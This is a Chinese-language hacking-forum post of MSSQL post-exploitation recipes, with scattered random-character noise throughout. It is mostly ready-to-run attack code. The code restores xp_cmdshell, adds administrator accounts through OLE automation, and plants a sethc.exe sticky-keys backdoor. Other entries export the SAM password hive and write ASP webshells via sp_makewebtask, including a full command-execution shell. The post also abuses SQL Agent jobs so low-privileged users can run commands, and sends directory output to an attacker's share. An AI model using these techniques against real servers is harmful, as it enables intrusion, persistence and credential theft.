中国网络渗透测试联盟

标题: XP_CMDSHELL恢复方法大全 [打印本页]

作者: admin    时间: 2012-9-15 14:37
标题: XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
7 O$ k8 X: t: h2 ?) o恢复方法:查询分离器连接后,% A& x$ J( d0 C$ K8 i  \
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 7 k; @& N4 m0 i4 M2 G  A9 _, h
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 1 L" a; w- S+ F
然后按F5键命令执行完毕
8 N5 A- A, q8 w+ Q4 R4 S( e4 \- t. U; \- M* J
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。): I# L, @" L3 y# Q
恢复方法:查询分离器连接后,
$ o! u9 i' r9 T第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"' T5 {/ b( F  f4 a( S
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
. B  {# D" `$ |% n8 F然后按F5键命令执行完毕
# d- _! A0 R$ a0 Z2 ]. I
: w0 H* [- o) T1 O3 t3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
0 O- K- p5 o+ }  {5 U3 ?  T恢复方法:查询分离器连接后,& h; |  Q/ R' P) @* r$ ?" a+ `
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
7 i2 i4 ?* _6 O第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
5 R" h' o0 T8 w/ {' B0 s然后按F5键命令执行完毕6 i, ]( ]9 O7 p  r1 w( T; D9 P
5 M" R. Z6 `( Z$ W* R
4 终极方法.% K9 ]% z9 Q8 z& U$ {0 k) n
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:) ^+ ?# l  v3 e: o  H* R
查询分离器连接后," i( {6 `. d, ~! \
2000servser系统:
5 }; r8 y# x2 cdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
2 T! c6 p, z5 g/ ]2 V/ u. h5 C& M8 D- o. _: P; h+ Y/ W
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'7 x7 ^, t0 A( `" ^# \
7 Q. r% |! T/ O* _/ O( g
xp或2003server系统:, v  Z0 R3 ?% n: [/ Z
& R: U1 m: }/ K, P* _: g; i0 A
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'& f, S! q1 o( U" ^, {5 e

& X/ s0 h% f+ _3 t, G: E8 Gdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'0 i. ~. j: N" Q

$ P& w% Z' b- _+ e2 d" ?: F8 q( v) D1 r8 }' L6 E
五个SHIFT, x3 a1 p& l. H# E
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';7 M2 u# U1 `3 V! F8 Q3 m- w  _

  ?3 O( J1 a# _' q7 adeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; - r6 A. [9 o) r: b  ?! L
1 r1 c9 B) `0 x! V
xp_cmdshell执行命令另一种方法) M" c& \1 ?* h
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 6 e  W3 @8 j: @/ n  U5 f( u
% Z0 k7 L, j2 y5 U1 T) K
判断存储扩展是否存在. ]) i& k# q, N
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell', f1 e' Y4 [% j
返回结果为1就OK) N7 u4 Q/ \7 \% g: @
4 \' G" D$ R2 I( I
$ S: ^/ q. i, q3 B, \- U5 Z
上传xplog70.dll恢复xp_cmdshell语句:
3 Z/ h. s- m4 I: D# dsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'% n* I) M9 m; |5 v

9 W5 v' o/ m7 t否则上传xplog7.0.dll1 w5 K0 Q& C. `/ |7 Y
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'. G% Y4 S, m) @6 [4 [- D. @% m
* {; b% {  D( c' x

! G4 @, \# p; v5 b, r: V7 D/ B1 I. ]& o
首先开启沙盘模式:( [, T. ]0 Q% ^# j  n2 e3 p6 [! W
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
% ~, @$ `9 G' k4 D4 ^3 H* O: p4 u* m
. T$ A) v* M. |: k9 p' ^" e然后利用jet.oledb执行系统命令8 }% q, q% n3 A3 t6 j  R8 ?
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
- e/ p6 L) T1 N0 ?# S返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
8 e; C/ }) \0 z9 E6 r. \5 G" \4 ^% K& ]( ]! e8 u) e0 }" r5 ^
+ e/ d6 U& Q. b7 }' w

+ ?+ i( j3 {' f+ |  N恢复过程sp_addextendedproc 如下:
: |  N$ r) U+ w: }* tcreate procedure sp_addextendedproc --- 1996/08/30 20:13
6 ], }9 Q! x4 c! M@functname nvarchar(517),/* (owner.)name of function to call */
* n6 c+ g0 k2 V+ {" V0 m; D@dllname varchar(255)/* name of DLL containing function */ 7 ~1 }! v/ Q  k  b
as * J( K" |4 J) r  j% b
set implicit_transactions off
: c- e- v: H! _* K7 |: r. Cif @@trancount > 0
8 [, F* H6 J% `4 W4 lbegin
1 c; {3 C) W- e' w+ nraiserror(15002,-1,-1,'sp_addextendedproc')
1 u0 v  b/ {* ]9 s+ Dreturn (1)
% S; z% O9 X6 o: Y0 iend
4 Y) j6 {& \' o/ K( c  y# idbcc addextendedproc( @functname, @dllname) 3 H+ K+ ?& S8 P  q" X+ V
return (0) -- sp_addextendedproc 2 k) a; D! d2 [' ^
GO , i5 p! @6 J4 e4 s9 T
! N& T* g' m5 _4 b6 H" b+ p8 i

* N, F+ E  h, y; [  l$ \. x
- x2 L- {/ x2 `5 @7 I- f4 i- X导出管理员密码文件+ Y) T; v- G- z  x
sa默认可以读sam键.应该。2 e( N0 _0 M. M. {
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
$ E. y6 K# K7 T  i" F! p0 ?net user administrator test2 H4 K6 [# m5 {5 N& V1 S1 ], p+ G# k
用administrator登陆.% a# J- f1 l% C9 V
用完机器后3 V/ @; \# p, ~3 v/ H9 o" G
reg import c:\test.reg
; y0 M1 P$ v8 z' u. c根本不用克隆.. V: ]: {) ^% ]& \6 j: m% L
找到对应的sid.
7 l: j2 i+ s8 X
: ?/ f: _8 J7 p9 D' `# q2 t, @
! y! |) L# p6 ?/ [( F7 |+ @6 L( E' ]8 L3 }2 A+ o
恢复所有存储过程
/ [1 H$ _9 J) S  g( |- o( |' Iuse master
$ k# \+ ?5 |4 F# n- \5 R8 J( M2 `exec sp_addextendedproc xp_enumgroups,'xplog70.dll' . t, q9 F+ j3 F$ X5 {
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' ; R8 R( j, P+ Q- ^. M5 b/ ]
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
; o8 Z6 K5 |3 z$ K5 o3 x$ Hexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 4 Z9 @) Y- F4 k0 E! x% I
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 6 H) Z' P2 Q( S" ^
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
5 R) r! _) m; s1 J) j  a/ vexec sp_addextendedproc sp_OADestroy,'odsole70.dll' : p5 }; _0 d) ?
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
' K- w$ z( I! \3 S9 f, Nexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' ; V( L: K/ h1 d, i* Q& M9 u, c( Z
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
# U  x1 w- c* c' Qexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 3 S/ V7 i) w, Z3 _, a4 X
exec sp_addextendedproc sp_OAStop,'odsole70.dll' - Q/ N6 V: f/ f' f
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
1 k) w$ ]4 k# A, Eexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'   Q" P' u* I2 W  L5 @
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' / U1 {& K( ~: Z, ]% w/ Q0 g. R
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' # I" b# h; P" _& a, a  K# u
exec sp_addextendedproc xp_regread,'xpstar.dll' " h7 g6 I) b% U# F
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
* s( }+ Y2 N# I1 C7 n3 Eexec sp_addextendedproc xp_regwrite,'xpstar.dll' $ A- Z8 l0 J5 N/ X+ ^  c9 e  e
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
7 e4 ^0 C' F  J9 _: T1 }, I
* C* y, u4 N2 i
" i8 c" T# O6 H. e9 W) p建立读文件的存储过程
4 T) ]1 d. q+ G( o$ V" n" Q9 ?Create proc sp_readTextFile @filename sysname" k4 W9 T/ s9 b% A8 Z8 c2 X
as
" q' s1 W" l' L
6 q2 |: s$ h1 c+ G! ]4 c6 f  B    begin
: I" f! G- Y; ^! C1 u+ w; W    set nocount on
1 b. x+ p; ?6 e) O    Create table #tempfile (line varchar(8000))
. n5 i' P2 Y* T7 x( I# ?    exec ('bulk insert #tempfile from "' + @filename + '"')7 s6 a* D. w. k& a/ x- z
    select * from #tempfile
) y1 W) j4 ~0 E! Q$ J# n3 \0 Z    drop table #tempfile6 _6 N' {1 l1 s4 ]) G
End* F/ B4 }+ ?# t) Z* M
, S% L8 [- g& ?; U- |
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件& b  }2 t' x5 [% x( ?
查看登录用户
! R2 g" i* f% e4 [0 sSelect * from sysxlogins/ i/ t8 \, Z7 u4 {2 J

2 i% V6 W4 m. p! u* w把文件内容读取到表中* n8 R; J( }+ L8 ~2 i, e, h
BULK INSERT tmp from "c:\test.txt"
( H# c) R1 M' Z$ B' ?dElete from 表名 清理表里的内容7 k9 x% z1 C2 k7 [3 M
create table b_test(fn nvarchar(4000));建一个表,字段为fn
/ H4 Q- W& ], s5 |5 A* T
* N( D. U' ]7 D
6 r* O/ h. H) F, o+ R% a* D$ m- {4 n加sa用户
3 {* f& E3 f, J7 N( |3 mexec master.dbo.sp_addlogin user,pass;
3 d5 g, i/ e, e" kexec master.dbo.sp_addsrvrolemember user,sysadmin
; W: ~/ T0 |$ R6 ~
0 g1 ]' o* ~! X: b- [
# j4 P% m5 e$ T6 k. ?% L: W- B, C' j; [$ M2 D6 B6 @6 G
读文件代码
& b) h. _3 E! V' Y: M8 ~2 Edeclare @o int, @f int, @t int, @ret int
4 s- t- j7 E8 L4 c5 m: ]. j# qdeclare @line varchar(8000)
; z  d, {5 P  o* X" y' }exec sp_oacreate 'scripting.filesystemobject', @o out6 G7 g; U$ Z! I; i- w7 [, x
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
' @- a2 b2 b2 e# S+ r( f* l1 C' c! K# ^$ Aexec @ret = sp_oamethod @f, 'readline', @line out3 X$ s" W7 i  v% Z; _$ u+ P/ K
while( @ret = 0 )6 z8 x. F2 |  z/ a+ H% U
begin9 I- `9 X4 n6 r
print @line
# x4 g% O, a; |6 Oexec @ret = sp_oamethod @f, 'readline', @line out1 e8 O( _" ^4 w# B% ^* S$ s
end
* e0 O8 o+ \; ]9 s. W
$ ~( B$ K" c  P0 G6 R7 O0 k- Y8 o. v
' f9 d9 I. b: J& r( _  v4 U& Y- d写文件代码:
3 v3 z( f, t" `; N$ wdeclare @o int, @f int, @t int, @ret int
# `1 F% R/ o& ^6 g/ [exec sp_oacreate 'scripting.filesystemobject', @o out+ t+ F5 T! t) R
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1. q3 `7 D1 v. A# \2 T8 U
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》% p; S% y' L* H3 M8 e' X$ S9 f" P) j. d

6 X/ t0 l5 c  l1 X% v6 f) s
- y: M. I) W( a4 Q添加lake2 shell- _' t3 [, ]' N) E. J
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
! v# v. d$ \: Y& r6 Ksp_dropextendedproc xp_lake29 D$ Z( l/ l7 \* l- ]$ n& \; [& z. L
EXEC xp_lake2 'net user'& Q! t- c$ X5 Y& S* s" M% L
0 k% H3 }- S) i5 u( j4 @4 d3 V: t

) E: [  P; B9 v3 M$ F得到硬盘文件信息
- ]' g) ?8 F0 V$ \4 e4 x1 o  [--参数说明:目录名,目录深度,是否显示文件 : Z' e* m' A9 O! E1 s6 ]
execute master..xp_dirtree 'c:'
- Q; Y( f' o8 |- p. M/ E, e0 dexecute master..xp_dirtree 'c:',1
2 y0 `" k7 N0 }execute master..xp_dirtree 'c:',1,1
, B0 P& D; B# f/ Z6 b- |0 ^7 `
" `8 K3 J9 @* K2 K
* V1 R) H) e$ _, r0 Q读serv-u配置信息% i# f- X  e6 r) x$ u  E8 y9 z
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
( e* z& ~4 Y6 A5 oexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'% ]# Z5 C/ f3 p7 R) G% |" }0 v
( d7 v' F7 Z! m9 T: k, O
通过xp_regwrite写SHIFT后门# m4 x! R5 N6 [# d, E
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--( \0 f! t7 _7 u# [( _. v3 ?

3 K9 t, w( p9 V8 M- v+ k$ s. A3 B4 V1 T- ?' ~8 [
. }% a1 P1 i. Y4 S% o
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';$ W% ^7 C7 h0 ~- g
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了  ~1 Y5 N# F! ~& l0 I! W7 o
; R0 w* n( M% z" d( |5 m8 y' t2 ~3 _7 p
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'! t! T# B4 |. X

1 v4 M. M3 e; C7 N1 H$ {9 i  G! h) L: t3 v* ]1 I

& Q1 ~5 \- t; g: q5 ?( Nsql server 2005下开启xp_cmdshell的办法) N2 ?  z% r5 a# V1 U0 }
8 L1 ?7 V/ x6 ^5 u; R
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
, |; ?* A7 z& Z5 D
7 i# ?# m. G* c" C0 nSQL2005开启'OPENROWSET'支持的方法:$ L9 b2 p' ^) r' {) J
3 A- d4 J& I' i
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;8 Q' B6 O/ ?9 H
& Z1 m6 {, h1 \% S; q
SQL2005开启'sp_oacreate'支持的方法:$ |) a, ~: p# T3 }: f$ f) d
% \, H. G9 l0 Z8 y& P. `
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;. y, Y9 {3 U# y+ D+ N% j

3 R, Y& e9 q) ~( h4 ]
9 {* `7 v* K% i! C
+ E+ v3 m- I4 y# X6 n% V. `/ |! ]; p
3 @0 s2 C- H* |1 t
& g1 q% Y) p* x6 B/ C$ q, M
1 n$ E3 n7 ~4 I4 P) p0 X* ^
6 H8 W2 [1 s- {  ]( S* A/ ]) A

, O4 g* j4 t9 d9 ^0 W  w& q: x
8 _* x" m3 j2 }% f; u, H1 M6 \8 a: T) w6 Z7 I9 _( F
, a% _& o6 g/ c- V; i

, [3 _1 v0 l5 ^$ D& C, O$ `- M" ~1 M  Y3 i

+ x( _  ~. X" h4 o6 b8 A* q
1 ?- o. r3 w3 }8 d7 |! M, C: {/ [2 x* M5 R; F
! m: B! r6 O+ }; |: o

# ]: i  r3 P* [7 K. u8 s
; k  T- @$ Y* k2 {
% F6 r7 B- i; H# ?
6 d- X, z( \/ j+ }+ j" g$ f& s5 {! I4 s% q( {% j

# n6 t" E1 K1 o8 |/ E2 X! h) b1 w以下方面不知道能不能成功暂且留下研究哈:, v  Y' N: F- t! |
4)8 f5 n: l: u  _
use msdb; --这儿不要是master哟! s5 V& m+ r& D
exec sp_add_job @job_name= czy82 ;) L' B# l# x. B
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;. z7 X4 D& F4 T' ]  B# B
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
1 J) d8 S% |3 a% h) V4 I/ `exec sp_start_job @job_name= czy82 ;) ^; G3 o& \- S

: w! h# H5 l1 o利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以! i) c4 {  D2 e3 }
执行tsql语句了.
$ L6 K% t0 @2 ^: j, y. {% t对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
9 x; I7 R" {1 S9 J. f" ?第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)3 ~& y3 {  b9 c7 c* W
net start SQLSERVERAGENT8 B+ w3 d! D9 G5 E( w" z

' o/ ^, U: H$ z+ ]1 e对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的7 E& N5 Y1 e) o& R& }0 M- y
USE msdb
' j! n* q4 A' Q6 `$ x! T5 q" e1 MEXEC sp_add_job @job_name = GetSystemOnSQL ,
5 L# Q: b1 c* Y) G2 v) P@enabled = 1,( u! x. x7 Z0 |$ @8 c
@description = This will give a low privileged user access to
4 C" H8 v$ L5 @! B; Nxp_cmdshell ,- m2 P, p7 u( z2 z9 H4 C% B  |; p/ s
@delete_level = 1
+ F& z/ m4 n/ Q0 r2 A, X. [EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
. M, P6 p% G. b$ j# c* T! M@step_name = Exec my sql ,
0 K& v: {2 O' A3 r3 Q% E5 @@subsystem = TSQL ,
( X; m1 K  b3 |: W3 m; |@command = exec master..xp_execresultset N select exec
+ m; z# f- w& ~( r' B( u, Amaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 6 f$ \0 S  o" \) @) g& F& k
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
; f5 P# `) A% F" a4 X  t$ H0 \9 H@server_name = 你的SQL的服务器名 * ?6 V8 n# Q1 ]+ t' Y
EXEC sp_start_job @job_name = GetSystemOnSQL
/ d7 R# p4 X, H
. u! E# X" _3 x, W/ L- P+ [不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以6 _9 a1 v; ~; Q' \4 R$ ]! o
才让我们可以以public执行xp_cmdshell
6 m6 j$ ~* t& u& o2 B! m: ]2 m& R+ J& r7 B6 X. ~
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以). k  l" Y  F) F; x/ u& }
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968' M( v# h' u0 H( K0 ^; J

3 b5 T/ {+ A0 g* Z, Y! q7 W, @' \USE msdb0 K" p: Q2 v3 J$ k" l
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
/ U$ y7 A# M9 |! e/ y+ A@enabled = 1,
+ M' b9 p: v/ u: j- U3 j+ R7 [@description = This will create a file called c:\sqlafc123.txt ,
. z* U; p- [0 s+ i" T@delete_level = 13 x' M9 W# x+ q9 V- p+ Q( O
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
$ j4 h9 l1 c$ ]@step_name = SQLAFC ,; w/ N+ m: x5 z2 h8 w1 k% U
@subsystem = TSQL ,
. r3 G7 y$ a7 a0 Y" }" e@command = select hello, this file was created by the SQL Agent. ,! n" m! g7 [# V0 J+ O( R0 y
@output_file_name = c:\sqlafc123.txt ( ?$ ~6 E6 u# }. L( ]: @$ b4 Q
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
& v$ u( C1 X% C  z# S@server_name = SERVER_NAME 6 [! t; V& Z) k9 q
EXEC sp_start_job @job_name = ArbitraryFilecreate ) s8 ?, a% S$ N& c0 w& q5 y1 q

. a5 k: G( m" b" ?如果subsystem选的是:tsql,在生成的文件的头部有如下内容9 C" o4 [7 d% ?9 Y8 F

% L- u- L, s2 ^1 n??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
& R1 J5 t# c' R' z: w----------------------------------------------
# D, O4 N# f2 L" n; `) X9 h# p8 Ihello, this file was created by the SQL Agent.
& a5 M9 q+ m% x. N' H; {5 l, {; h' N; |( d2 u
(1 ?????)
, l7 k* |0 k' v- [
- ~2 V* c! K6 z, Q0 m所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
# ?- ^0 Q& e6 f2 }  o9 z' R( x命令的vbs文件到启动目录!1 @3 v7 ~! R4 r' t/ h) ?8 k

9 U; U% R; W4 }1 L6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
+ C; g  N- H, }7 |1 W关于sp_MScopyscriptfile 看下面的例子, E! w0 i6 r( y: r! C) [
declare @command varchar(100) 1 D) |6 q9 Z' C3 X' r8 O7 p
declare @scripfile varchar(200)
# L* {. q( q: ~8 gset concat_null_yields_null off & e3 e# t6 e9 k1 k8 H1 M& X
select @command= dir c:\ > "\\attackerip\share\dir.txt"
) Z+ A8 U/ H1 Yselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
. I$ X2 ^- D. S. l3 g! |& Dexec sp_MScopyscriptfile @scripfile ,
- {. D) E" r6 [3 h3 U( C# B( X
# n8 e8 U: }/ P3 v; ^7 C这两个东东都还在测试试哟
& \& X9 B* c! u- q3 e* D. d让MSSQL的public用户得到一个本机的web shell
6 s9 E1 A8 D* l# C( \2 @% C$ o) g( y$ K/ H& A  j" t
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
* `1 d2 a! X/ Z. {& P- R+ S0 L--@query= select <img src=vbscript:msgbox(now())>
# M5 X$ }: I* }9 D9 W- c% K--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
4 w0 t4 S3 M9 J2 R" |7 a8 u) ?& t% {% m@query= select
; x- h+ }9 I' @) s<%On Error Resume Next
% i2 A$ p5 @0 a( Z; _Set oscript = Server.createObject("wscript.SHELL") 0 G" |; |3 E2 O
Set oscriptNet = Server.createObject("wscript.NETWORK")
, y+ l4 L7 W( {! mSet oFileSys = Server.createObject("scripting.FileSystemObject") . D9 s9 C( ]2 ]
szCMD = Request.Form(".CMD") 7 k0 X; O  @  p) J% c- ?; b
If (szCMD <>"")Then - g2 |8 A# |5 U; r( x0 B) Q* F
szTempFile = "C:\" & oFileSys.GetTempName()
. f) N1 z" P2 q1 E6 M6 ACall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) , }0 `# W2 c* l7 J* z% u
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
/ T6 R+ L( }, |3 `End If %>
" E: l+ q2 e" m( s* t; H9 A<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
- ~& M4 c7 C& R% o7 Y<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
# h/ d* c- A" f4 R/ _: c. j1 S$ ~8 d</FORM><RE>
) O: {* _. I- z2 H; a9 x8 |* Z! u3 f<% If (IsObject(oFile))Then & E. j3 u; w8 o, n2 N
On Error Resume Next
' W/ Y# C2 U+ x  i2 ^& O& p3 uResponse.Write Server.HTMLEncode(oFile.ReadAll)
# A; G6 m# {/ O2 g/ J8 IoFile.Close , z  ?4 R. G4 c' S! T
Call oFileSys.deleteFile(szTempFile, True)
3 C: D4 o) p0 cEnd If%>
8 \: ^+ U: }; C0 b</BODY></HTML>
/ {& V0 h. m# d6 h9 B* [8 q




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2